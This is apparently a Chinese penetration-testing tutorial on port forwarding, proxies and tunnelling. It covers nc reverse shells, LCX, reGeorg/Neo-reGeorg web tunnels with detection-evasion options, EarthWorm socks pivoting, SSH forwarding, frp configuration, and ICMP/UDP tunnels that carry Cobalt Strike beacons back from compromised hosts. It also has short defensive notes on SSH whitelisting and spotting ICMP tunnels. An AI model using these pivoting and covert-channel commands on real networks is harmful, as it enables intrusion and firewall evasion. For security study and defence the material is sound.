端口转发、映射、代理概念
https://xz.aliyun.com/t/6349#toc-0
端口转发、映射
NC工具
NC反向连接
B位于内网,A不可访问B,B可以访问A,即A位于外网,适合nc反向连接,将B的shell反弹到外网A
1 | #A执行如下命令 |
NC正向连接
受害者B位于外网,攻击者A位于内网,此时采用将A的shell反弹到B处的方法
1 | #B执行如下命令 |
LCX工具
LCX端口映射
这个用法类似于NC的反向连接
B位于内网,A不可访问B,B可以访问A,即A位于外网,适合nc反向连接,将B的shell反弹到外网A
1 | #B执行命令 |
- 第一条命令意思是将内网主机(192.168.2.3)的3389端口转发到公网主机(192.168.2.128)的7777端口
- 第二条命令的意思是将7777端口的流量转给5555端口处理
这时在A主机连接5555端口就访问到了B的3389端口
LCX端口转发
当外网A攻击者能访问到内网B,但是不能访问到内网C,而B能访问到内网C的任意端口时,可用LCX端口转发
1 | #B执行命令 |
- 命令意思是将C主机的3389端口转发到B的7777端口上,这时A访问B的7777端口就能远程连接到C
Metasploit进行端口映射、转发
拓扑图
1 | #端口映射 |
代理
代理简介
代理即Proxy,分为正向代理和反向代理
- 正向代理代理客户端
- 反向代理代理服务器
socks协议
Socks协议是一种可以穿透防火墙的协议,因为Socks介于传输层与表示层之间,使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。
- Socks分为Socks4和Socks5版本
- SOCKS4支持TELNET、FTPHTTP等TCP协议;
- SOCKS5支持TCP与UDP,并支持安全认证方案。
- Socks不支持ICMP
基于Socks的代理转发工具
reGeorg+Proxychains
reGeorg
把内网服务器的端口通过http/https
隧道转发到本机
项目地址:https://github.com/sensepost/reGeorg
利用方法
将脚本tunnel.(aspx|ashx|jsp|php)放上要代理的机子,然后访问该脚本
显示如上则执行成功本地python脚本搭建代理隧道
1
python2 reGeorgSocksProxy.py -p 8686 -u http://192.168.2.2/tunnel.aspx
配置proxychains(socks5)
然后就可以用proxychains nmap或者metasploit进行流量代理(nmap要加-sT和-Pn,socks5不支持ICMP)
windows用proxifier连接3389
添加server
设置规则
查看流量
Neo-reGeorg
Neo-reGeorg 是一个旨在积极重构 reGeorg 的项目,目的是:
- 提高 tunnel 连接安全性
- 提高可用性,避免特征检测
- 提高传输内容保密性
- 应对更多的网络环境场景
Basic Usage
- Step 1. 设置密码生成 tunnel.(aspx|ashx|jsp|jspx|php) 并上传到WEB服务器
1 | $ python neoreg.py generate -k password |
- Step 2. 使用 neoreg.py 连接 WEB 服务器,在本地建立 socks5 代理
1 | $ python3 neoreg.py -k password -u http://xx/tunnel.php |
注意,如果你的工具,如 nmap 不支持 socks5 代理设置,请使用 proxychains 等
Advanced Usage
- 支持生成的服务端,默认直接请求响应指定的页面内容 (如伪装的 404 页面)
1 | $ python neoreg.py generate -k <you_password> --file 404.html --httpcode 404 |
- 将目标网站上的404.html页面拷贝下来再生成tunnel,起到一个跳转迷惑的作用,skip功能时必须的
- 如服务端 WEB,需要设置代理才能访问
1 | $ python neoreg.py -k <you_password> -u <server_url> --proxy socks5://10.1.1.1:8080 |
- 如需 Authorization 认证和定制的 Header 或 Cookie
1 | $ python neoreg.py -k <you_password> -u <server_url> -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"' |
- 注意:这里的Header和Cookie只是为了过网站的后台验证,不是neo-regeorg本身的cookie认证功能
- 需要分散请求,可上传到多个路径上,如内存马
1 | $ python neoreg.py -k <you_password> -u <url_1> -u <url_2> -u <url_3> ... |
- 开启内网转发,应对负载均衡
1 | $ python neoreg.py -k <you_password> -u <url> -r <redirect_url> |
- 使用端口转发功能,非启动 socks5 服务 ( 127.0.0.1:1080 -> ip:port )
1 | $ python neoreg.py -k <you_password> -u <url> -t <ip:port> |
EarthWorm
普通网络环境
目标网络边界存在公网IP且可任意开监听端口:
1
2
3a)./ew -s ssocksd -l 8888
// 在 1.1.1.1 主机上通过这个命令开启 8888 端口的 socks 代理
b) HackTools 可通过访问 1.1.1.1:8888 端口使用 1.1.1.1 主机提供的代理目标网络边界不存在公网 IP,需要通过反弹方式创建 socks 代理
1
2
3
4
5a) ./ew -s rcsocks -l 1080 -e 8888
// 在 1.1.1.1 的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
b) ./ew -s rssocks -d 1.1.1.1 -e 8888
// 将目标网络的可控边界主机反向连接公网主机
c) HackTools 可通过访问 1.1.1.1:1080 端口使用 rssocks 主机提供的 socks5 代理服务
对于二重网络环境:
- 获得目标网络内两台主机 A、B 的权限,情况描述如下:
- A 主机: 存在公网 IP,且自由监听任意端口,无法访问特定资源
- B 主机: 目标网络内部主机,可访问特定资源,但无法访问公网
- A 主机可直连 B 主机
1
2
3
4
5a) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
b) ./ew -s lcx_tran -l 1080 -f 2.2.2.3 -g 9999
// 将 1080 端口收到的 socks 代理请求转交给 2.2.2.3 的主机。
c) HackTools 可通过访问 2.2.2.2:1080 来使用 2.2.2.3 主机提供的 socks5 代理。
- 获得目标网络内两台主机 A、B 的权限,情况描述如下:
- A 主机: 目标网络的边界主机,无公网 IP,无法访问特定资源。
- B 主机: 目标网络内部主机,可访问特定资源,却无法回连公网。
- A 主机可直连 B 主机
1
2
3
4
5
6
7
8a) ./ew -s lcx_listen -l 1080 -e 8888
// 在 1.1.1.1 公网主机添加转接隧道,将 1080 收到的代理请求
// 转交给反连 8888 端口的主机
b) ./ew -s ssocksd -l 9999
// 在 2.2.2.3 主机上利用 ssocksd 方式启动 9999 端口的 socks 代理
c) ./ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
// 在 2.2.2.2 上,通过工具的 lcx_slave 方式,打通1.1.1.1:8888 和 2.2.2.3:9999 之间的通讯隧道
d) HackTools 可通过访问 1.1.1.1:1080 来使用 2.2.2.3 主机提供的 socks5 代理
SSH端口转发
SSH隧道的优势
- 加密SSH Client 端至SSH Server 端之间的通讯数据
- 突破防火墙的限制完成一些之前无法建立的TCP 连接
参数
1 | 1 | -C 压缩传输,加快传输速度 |
SSH本地转发
适用情况:
- 适用于VPS(实际上是内网机器)和Web服务器处于同个内网
- 攻击者能够控制VPS且只能够访问VPS不能访问Web服务器
- VPS能够访问Web服务器
把本地端口数据转发到远程服务器,本地服务器作为SSH客户端及应用户端,称为正向 tcp 端口加密转发。
在vps上设置
1 | vim /etc/ssh/sshd_config |
利用方式
在本机攻击机执行如下命令
1 | ssh -CfNgL 33389:192.168.2.3:3389 root@192.168.2.130 -p 22 |
将本地的33389通过VPS转发到目标服务器的3389端口,此时访问本地33389即可远程登录远程目标的3389端口
SSH远程转发
适用情况:
- VPS不能访问web服务器、内网机器
- web服务器能够访问VPS且被控制。
把远程端口数据转发到本地服务器,本地服务器作为SSH客户端及应用服务端,称为反向tcp端口加密转发。
出网机器配置
1 | vim /etc/ssh/sshd_config |
在出网web服务器上执行如下命令
1 | ssh -CfNgR 44489:192.168.2.3:3389 root@192.168.2.128 |
将VPS上的44489的流量都转发到不出网的机器的3389端口
- 此时连接到VPS的44489端口即可访问不出网机器的3389端口
- 当VPS监听地址是127.0.0.1,而非0.0.0.0时,可以安装reneted,命令如下
1
2
3
4
5
61 | apt install rinetd -y
2 | vim /etc/rinetd.conf
3 |
4 | 0.0.0.0 3389 127.0.0.1 33389 #转发规则
5 |
6 | service rinetd start
ssh动态转发
类似于科学上网,A连通B,B连通C,但是A不连通C
B设置
1 | 1 | # vim /etc/ssh/sshd_config |
利用过程
在A机器执行命令
1 | ssh -D 0.0.0:10080 root@B_ip -p 22 |
此时将127.0.01:10080设置为socks5代理服务器即可访问C。
- msfconsole通过
setg proxies socks5:IP:port
访问内网环境
防御SSH隧道攻击
在系统中配置SSH远程管理白名单,在ACL中限制只有特定的IP才能连接SSH,以及设置系统完全适用带外管理等方法。
结论
本地端口转发适用于跳板机双网卡,内外网皆可通,外网也可直接ping跳板机。
远程端口转发适用于跳板机可出外网,一般通过网关出口,外网不可直接到达内网。
其适用场景不仅仅与以上两种情况,偶尔也可以把内网当外网,外网当内网来进行SSH隧道的建立。
frp
frp 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
项目地址:https://github.com/fatedier/frp
tcp代理示例:
服务器端:
1 | [common] |
客户端:
1 | [common] |
服务器端启动:
1 | ./frps -c frps.ini |
客户端启动:
1 | ./frpc -c frpc.ini |
之后通过vps的10001端口进行代理就可以了
客户端配置
frp 客户端的详细配置说明。
基础配置
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
server_addr | string | 连接服务端的地址 | 0.0.0.0 | ||
server_port | int | 连接服务端的端口 | 7000 | ||
http_proxy | string | 连接服务端使用的代理地址 | 格式为 {protocol}://user:passwd@192.168.1.128:8080 protocol 目前支持 http、socks5、ntlm | ||
log_file | string | 日志文件地址 | ./frpc.log | 如果设置为 console,会将日志打印在标准输出中 | |
log_level | string | 日志等级 | info | trace, debug, info, warn, error | |
log_max_days | int | 日志文件保留天数 | 3 | ||
disable_log_color | bool | 禁用标准输出中的日志颜色 | false | ||
pool_count | int | 连接池大小 | 0 | ||
user | string | 用户名 | 设置此参数后,代理名称会被修改为 {user}.{proxyName},避免代理名称和其他用户冲突 | ||
dns_server | string | 使用 DNS 服务器地址 | 默认使用系统配置的 DNS 服务器,指定此参数可以强制替换为自定义的 DNS 服务器地址 | ||
login_fail_exit | bool | 第一次登陆失败后是否退出 | true | ||
protocol | string | 连接服务端的通信协议 | tcp | tcp, kcp, websocket | |
tls_enable | bool | 启用 TLS 协议加密连接 | false | ||
tls_cert_file | string | TLS 客户端证书文件路径 | |||
tls_key_file | string | TLS 客户端密钥文件路径 | |||
tls_trusted_ca_file | string | TLS CA 证书路径 | |||
tls_server_name | string | TLS Server 名称 | 为空则使用 server_addr | ||
disable_custom_tls_first_byte | bool | TLS 不发送 0x17 | false | 当为 true 时,不能端口复用 | |
heartbeat_interval | int | 向服务端发送心跳包的间隔时间 | 30 | ||
heartbeat_timeout | int | 和服务端心跳的超时时间 | 90 | ||
udp_packet_size | int | 代理 UDP 服务时支持的最大包长度 | 1500 | 服务端和客户端的值需要一致 | |
start | string | 指定启用部分代理 | 当配置了较多代理,但是只希望启用其中部分时可以通过此参数指定,默认为全部启用 |
权限验证
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
authentication_method | string | 鉴权方式 | token | token, oidc | 需要和服务端一致 |
authenticate_heartbeats | bool | 开启心跳消息鉴权 | false | 需要和服务端一致 | |
authenticate_new_work_conns | bool | 开启建立工作连接的鉴权 | false | 需要和服务端一致 | |
token | string | 鉴权使用的 token 值 | 需要和服务端设置一样的值才能鉴权通过 | ||
oidc_client_id | string | oidc_client_id | |||
oidc_client_secret | string | oidc_client_secret | |||
oidc_audience | string | oidc_audience | |||
oidc_token_endpoint_url | string | oidc_token_endpoint_url |
UI
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
admin_addr | string | 启用 AdminUI 监听的本地地址 | 0.0.0.0 | ||
admin_port | int | 启用 AdminUI 监听的本地端口 | 0 | ||
admin_user | string | HTTP BasicAuth 用户名 | |||
admin_pwd | string | HTTP BasicAuth 密码 | |||
asserts_dir | string | 静态资源目录 | AdminUI 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源 |
服务器端配置
frp 服务端详细配置说明。
基础配置
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
bind_addr | string | 服务端监听地址 | 0.0.0.0 | ||
bind_port | int | 服务端监听端口 | 7000 | 接收 frpc 的连接 | |
bind_udp_port | int | 服务端监听 UDP 端口 | 0 | 用于辅助创建 P2P 连接 | |
kcp_bind_port | int | 服务端监听 KCP 协议端口 | 0 | 用于接收采用 KCP 连接的 frpc | |
proxy_bind_addr | string | 代理监听地址 | 同 bind_addr | 可以使代理监听在不同的网卡地址 | |
log_file | string | 日志文件地址 | ./frps.log | 如果设置为 console,会将日志打印在标准输出中 | |
log_level | string | 日志等级 | info | trace, debug, info, warn, error | |
log_max_days | int | 日志文件保留天数 | 3 | ||
disable_log_color | bool | 禁用标准输出中的日志颜色 | false | ||
detailed_errors_to_client | bool | 服务端返回详细错误信息给客户端 | true | ||
heartbeat_timeout | int | 服务端和客户端心跳连接的超时时间 | 90 | 单位:秒 | |
user_conn_timeout | int | 用户建立连接后等待客户端响应的超时时间 | 10 | 单位:秒 | |
udp_packet_size | int | 代理 UDP 服务时支持的最大包长度 | 1500 | 服务端和客户端的值需要一致 | |
tls_cert_file | string | TLS 服务端证书文件路径 | |||
tls_key_file | string | TLS 服务端密钥文件路径 | |||
tls_trusted_ca_file | string | TLS CA 证书路径 |
权限验证
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
authentication_method | string | 鉴权方式 | token | token, oidc | |
authenticate_heartbeats | bool | 开启心跳消息鉴权 | false | ||
authenticate_new_work_conns | bool | 开启建立工作连接的鉴权 | false | ||
token | string | 鉴权使用的 token 值 | 客户端需要设置一样的值才能鉴权通过 | ||
oidc_issuer | string | oidc_issuer | |||
oidc_audience | string | oidc_audience | |||
oidc_skip_expiry_check | bool | oidc_skip_expiry_check | |||
oidc_skip_issuer_check | bool | oidc_skip_issuer_check |
管理配置
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
allow_ports | string | 允许代理绑定的服务端端口 | 格式为 1000-2000,2001,3000-4000 | ||
max_pool_count | int | 最大连接池大小 | 5 | ||
max_ports_per_client | int | 限制单个客户端最大同时存在的代理数 | 0 | 0 表示没有限制 | |
tls_only | bool | 只接受启用了 TLS 的客户端连接 | false |
Dashboard, 监控
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
dashboard_addr | string | 启用 Dashboard 监听的本地地址 | 0.0.0.0 | ||
dashboard_port | int | 启用 Dashboard 监听的本地端口 | 0 | ||
dashboard_user | string | HTTP BasicAuth 用户名 | |||
dashboard_pwd | string | HTTP BasicAuth 密码 | |||
enable_prometheus | bool | 是否提供 Prometheus 监控接口 | false | 需要同时启用了 Dashboard 才会生效 | |
asserts_dir | string | 静态资源目录 | Dashboard 使用的资源默认打包在二进制文件中,通过指定此参数使用自定义的静态资源 |
HTTP & HTTPS
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
vhost_http_port | int | 为 HTTP 类型代理监听的端口 | 0 | 启用后才支持 HTTP 类型的代理,默认不启用 | |
vhost_https_port | int | 为 HTTPS 类型代理监听的端口 | 0 | 启用后才支持 HTTPS 类型的代理,默认不启用 | |
vhost_http_timeout | int | HTTP 类型代理在服务端的 ResponseHeader 超时时间 | 60 | ||
subdomain_host | string | 二级域名后缀 | |||
custom_404_page | string | 自定义 404 错误页面地址 |
TCPMUX
参数 | 类型 | 说明 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|
tcpmux_httpconnect_port | int | 为 TCPMUX 类型代理监听的端口 | 0 | 启用后才支持 TCPMUX 类型的代理,默认不启用 |
代理配置
frp 代理的详细配置说明。
通用配置
通用配置是指不同类型的代理共同使用的一些配置参数。
基础配置
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
type | string | 代理类型 | 是 | tcp | tcp, udp, http, https, stcp, sudp, xtcp, tcpmux | |
use_encryption | bool | 是否启用加密功能 | 否 | false | 启用后该代理和服务端之间的通信内容都会被加密传输 | |
use_compression | bool | 是否启用压缩功能 | 否 | false | 启用后该代理和服务端之间的通信内容都会被压缩传输 | |
proxy_protocol_version | string | 启用 proxy protocol 协议的版本 | 否 | v1, v2 | 如果启用,则 frpc 和本地服务建立连接后会发送 proxy protocol 的协议,包含了原请求的 IP 地址和端口等内容 | |
bandwidth_limit | string | 设置单个 proxy 的带宽限流 | 否 | 单位为 MB 或 KB,0 表示不限制,如果启用,会作用于对应的 frpc |
本地服务配置
local_ip
和 plugin
的配置必须配置一个,且只能生效一个,如果配置了 plugin
,则 local_ip
配置无效。
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
local_ip | string | 本地服务 IP | 是 | 127.0.0.1 | 需要被代理的本地服务的 IP 地址,可以为所在 frpc 能访问到的任意 IP 地址 | |
local_port | int | 本地服务端口 | 是 | 配合 local_ip | ||
plugin | string | 客户端插件名称 | 否 | 见客户端插件的功能说明 | 用于扩展 frpc 的能力,能够提供一些简单的本地服务,如果配置了 plugin,则 local_ip 和 local_port 无效,两者只能配置一个 | |
plugin_params | map | 客户端插件参数 | 否 | map 结构,key 需要都以 “plugin_” 开头,每一个 plugin 需要的参数也不一样,具体见客户端插件参数中的内容 |
负载均衡和健康检查
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
group | string | 负载均衡分组名称 | 否 | 用户请求会以轮询的方式发送给同一个 group 中的代理 | ||
group_key | string | 负载均衡分组密钥 | 否 | 用于对负载均衡分组进行鉴权,group_key 相同的代理才会被加入到同一个分组中 | ||
health_check_type | string | 健康检查类型 | 否 | tcp,http | 配置后启用健康检查功能,tcp 是连接成功则认为服务健康,http 要求接口返回 2xx 的状态码则认为服务健康 | |
health_check_timeout_s | int | 健康检查超时时间(秒) | 否 | 3 | 执行检查任务的超时时间 | |
health_check_max_failed | int | 健康检查连续错误次数 | 否 | 1 | 连续检查错误多少次认为服务不健康 | |
health_check_interval_s | int | 健康检查周期(秒) | 否 | 10 | 每隔多长时间进行一次健康检查 | |
health_check_url | string | 健康检查的 HTTP 接口 | 否 | 如果 health_check_type 类型是 http,则需要配置此参数,指定发送 http 请求的 url,例如 “/health” |
TCP
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
remote_port | int | 服务端绑定的端口 | 是 | 用户访问此端口的请求会被转发到 local_ip:local_port |
UDP
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
remote_port | int | 服务端绑定的端口 | 是 | 用户访问此端口的请求会被转发到 local_ip:local_port |
HTTP
custom_domains
和 subdomain
必须要配置其中一个,两者可以同时生效。
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
custom_domains | []string | 服务器绑定自定义域名 | 是(和 subdomain 两者必须配置一个) | 用户通过 vhost_http_port 访问的 HTTP 请求如果 Host 在 custom_domains 配置的域名中,则会被路由到此代理配置的本地服务 | ||
subdomain | string | 自定义子域名 | 是(和 custom_domains 两者必须配置一个) | 和 custom_domains 作用相同,但是只需要指定子域名前缀,会结合服务端的 subdomain_host 生成最终绑定的域名 | ||
locations | []string | URL 路由配置 | 否 | 采用最大前缀匹配的规则,用户请求匹配响应的 location 配置,则会被路由到此代理 | ||
http_user | string | 用户名 | 否 | 如果配置此参数,暴露出去的 HTTP 服务需要采用 Basic Auth 的鉴权才能访问 | ||
http_pwd | string | 密码 | 否 | 结合 http_user 使用 | ||
host_header_rewrite | string | 替换 Host header | 否 | 替换发送到本地服务 HTTP 请求中的 Host 字段 | ||
headers | map | 替换 header | 否 | map 中的 key 是要替换的 header 的 key,value 是替换后的内容 |
HTTPS
custom_domains
和 subdomain
必须要配置其中一个,两者可以同时生效。
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
custom_domains | []string | 服务器绑定自定义域名 | 是(和 subdomain 两者必须配置一个) | 用户通过 vhost_http_port 访问的 HTTP 请求如果 Host 在 custom_domains 配置的域名中,则会被路由到此代理配置的本地服务 | ||
subdomain | string | 自定义子域名 | 是(和 custom_domains 两者必须配置一个) | 和 custom_domains 作用相同,但是只需要指定子域名前缀,会结合服务端的 subdomain_host 生成最终绑定的域名 |
STCP
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
role | string | 角色 | 是 | server | server,visitor | server 表示服务端,visitor 表示访问端 |
sk | string | 密钥 | 是 | 服务端和访问端的密钥需要一致,访问端才能访问到服务端 |
SUDP
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
role | string | 角色 | 是 | server | server,visitor | server 表示服务端,visitor 表示访问端 |
sk | string | 密钥 | 是 | 服务端和访问端的密钥需要一致,访问端才能访问到服务端 |
XTCP
参数 | 类型 | 说明 | 是否必须 | 默认值 | 可选值 | 备注 |
---|---|---|---|---|---|---|
role | string | 角色 | 是 | server | server,visitor | server 表示服务端,visitor 表示访问端 |
sk | string | 密钥 | 是 | 服务端和访问端的密钥需要一致,访问端才能访问到服务端 |
隧道
- 隧道就是一种绕过端口屏蔽的通信方式,防火墙两端的数据包通过防火墙所允许的数据包类型或者端口进行封装,然后穿过防火墙,与对方进行通信。当被封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到对应的服务器上。
常见的隧道列举如下:
- 网络层:IPv6隧道、ICMP隧道、GRE隧道
- 传输层:TCP隧道、UDP隧道、常规端口转发
- 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
判断内网连通性
查看本机防火墙规则
1 | netsh advfirewall firewall show rule name=all |
ICMP
通过ping命令来判断
1
ping <域名/IP>
TCP
1
nc <IP地址 端口号>
也可以用telnet
1
2
3
4
5开启
dism /online /Enable-Feature /FeatureName:TelnetClient
关闭
dism /online /Disable-Feature /FeatureName:TelnetClientTelnet使用方法:
1
telnet <IP地址 端口号>
HTTP协议
1
curl www.baidu.com
DNS协议
1
2
3
4//Windows
nslookup www.baidu.com <vps-ip>
//Linux
dig www.baidu.com
也有可能通过proxy连接外网
- 查看网络连接(ping -n 1 -a ip)
- 查看内网中是否有”proxy”主机名的机器
- 查看IE代理
- 查看pac文件路径
通过以下命令进行确认
1 | curl www.baidu.com //不通 |
ICMP隧道
ICMP隧道特点:不需要开启端口、防火墙一般不会阻拦
pingtunnel
项目地址:https://github.com/esrrhs/pingtunnel
特点:使用icmp协议传输数据,防火墙一般不拦截,需要root/administrator权限
服务器端:
1 | wet https://github.com/esrrhs/pingtunnel/releases/download/2.6/pingtunnel_linux_amd64.zip |
客户端:
1 | wet https://github.com/esrrhs/pingtunnel/releases/download/2.6/pingtunnel_linux_amd64.zip |
- -l 监听的本地地址
- -s 开启server模式的vps地址(IP和域名都可)
- -t 转发的目的地址
CS上线
cs设置监听
服务器端开启代理:
1 | ./pingtunnel -type server |
客户端开启代理:
1 | pingtunnel.exe -type client -l :6666 -s vps -t vps:80 -tcp 1 |
监听本地6666转发到80端口
生成ICMP的beacon之后传到肉鸡运行即可
icmpsh
项目地址:https://github.com/inquisb/icmpsh.git
服务器vps:
1 | git clone https://github.com/inquisb/icmpsh.git |
安装依赖
1 | apt-install python-impacket |
安装python的impacket类库以便对TCP、UDP、ICMP、Kerberos、WMI等协议进行访问
关闭系统ping的应答
1 | sysctl -w net.ipv4.icmp_echo_ignore_all=1 |
- 注意:记得恢复,否则会出错,将1改为0即可
获取命令
1 | ./run.sh |
肉鸡:
运行上面给出的命令即可,由于没有公网的win机,不做测试
防御ICMP隧道
大多数防火墙规则中,由内而外的ping命令是被允许的,由外而内的icmp包被拦截。但是ICMP隧道的特点也很明显:
- 同一来源的ICMP数据包大
- 注意Payload大于64bit的ICMP数据包
- 寻找响应数据包中payload与请求数据包中payload不一致的ICMP数据包
- 检查ICMP数据包的协议标签,如icmptunnel的ICMP Payload前面有”TUNL”标记
udptunnel
项目地址:https://github.com/jingyu/udptunnel
udptunnel将tcp流量封装在udp中
• 需要自己编译(Linux上gcc或者Windows上vs编译)
服务器端:
1 | ./udptunnel -s 0.0.0.0:7788 |
客户端:
1 | udptunnel.exe -c 0.0.0.0:6666 -t vps:7788 |
监听本地6666,转发到vps的80端口
在vps上开启cs监听
生成ICMP的木马(实际是UDP),放到肉鸡运行,即可收到回连
参考链接
- https://www.secpulse.com/archives/140684.html
- https://xz.aliyun.com/t/6349#toc-26
- https://mp.weixin.qq.com/s/PxQUHAvaly_BDczCR-3LCQ
- https://mp.weixin.qq.com/s?src=11×tamp=1626104085&ver=3186&signature=8*jYwM6uY0bHCrml-qPqqTe2l*H7jm*HBKCTEJQZz7LdqR9b4ivBAeOwJHE8LbVCCAOP2kQgyERNzdzhwSR4uRIVUX0kg425il0qgNpSRBp3AZ6p4D5oqvogdjj34R66&new=1